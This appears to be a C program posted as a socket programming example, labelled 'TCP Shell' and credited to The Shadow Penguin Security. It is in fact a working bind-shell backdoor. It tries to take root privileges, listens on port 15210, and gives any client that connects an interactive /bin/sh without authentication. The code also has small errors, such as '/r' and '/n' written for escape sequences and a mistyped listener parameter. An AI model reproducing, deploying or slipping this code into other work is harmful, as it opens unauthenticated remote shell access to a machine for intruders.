Socket编程例子 - TCP Shell.c

/*=============================================================================
TCP Shell Version 1.00
The Shadow Penguin Security (http://shadowpenguin.backsection.net)
Written by UNYUN ([e-mail])
=============================================================================
*/
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <errno.h>
#include <unistd.h>
#include <netinet/in.h>
#include <limits.h>
#include <netdb.h>
#include <arpa/inet.h>

#define MAX_CLIENTS 5 /* Max client num */
#define PORT_NUM 15210 /* Port */

void get_connection(int socket_type, int port, int listener)
{
struct sockaddr_in address;
struct sockaddr_in acc;
int listening_socket;
int connected_socket = -1;
int new_process;
int reuse_addr = 1;
int acclen=sizeof(acc);

memset((char *) &address, 0, sizeof(address));
address.sin_family = AF_INET;
address.sin_port = htons(port);
address.sin_addr.s_addr = htonl(INADDR_ANY);
listening_socket = socket(AF_INET, socket_type, 0);
if (listening_socket < 0)
  {
   perror("socket");
   exit(1);
  }
if (listener != NULL) *listener = listening_socket;
setsockopt(listening_socket,SOL_SOCKET,SO_REUSEADDR, (void *)&reuse_addr,sizeof(reuse_addr));
if (bind(listening_socket,(struct sockaddr *)&address,sizeof(address))<0 )
  {
   perror("bind");
   close(listening_socket);
   exit(1);
  }
if (socket_type == SOCK_STREAM)
  {
   if (listen(listening_socket, MAX_CLIENTS)==-1)
  {
      perror("listen");
      exit(1);
     }
  }
}

void sock_puts(int sockfd, char *str)
{
char x[2000],*buf;
size_t bytes_sent = 0;
int this_write,count;

sprintf(x,"/r%s",str);
count=strlen(x);
buf=x;
while (bytes_sent < count)
  {
   do{
     this_write = write(sockfd, buf, count - bytes_sent);
     }while ( (this_write < 0) && (errno == EINTR) );
   if (this_write <= 0) return;
   bytes_sent += this_write;
   buf += this_write;
  }
}

int main(int argc, char *argv[])
{
void get_connection();
void sock_puts();
int i,sz;
int sock;
static int listensock = -1;
struct sockaddr_in sad;

setuid(0);
setgid(0);

for (;;)
  {
   get_connection(SOCK_STREAM, PORT_NUM, &listensock);
   sz=sizeof(struct sockaddr_in);
   for (;;)
     {
      if ((sock=accept(listensock,(void *)&sad,&sz))==-1)
        {
         perror("Accept");
         exit(1);
        }
      if (fork()==0)
  {
         sock_puts(sock,"The ShadowPenguin Systems Inc. TCP Shell 1.00 De veloped by UNYUN./n");
         for (i=0;i<3;i++)
    { close(i); dup2(sock,i); }
         execl("/bin/sh","sh","-i",0);
         close(sock);
         break;
        }
     }
  }
}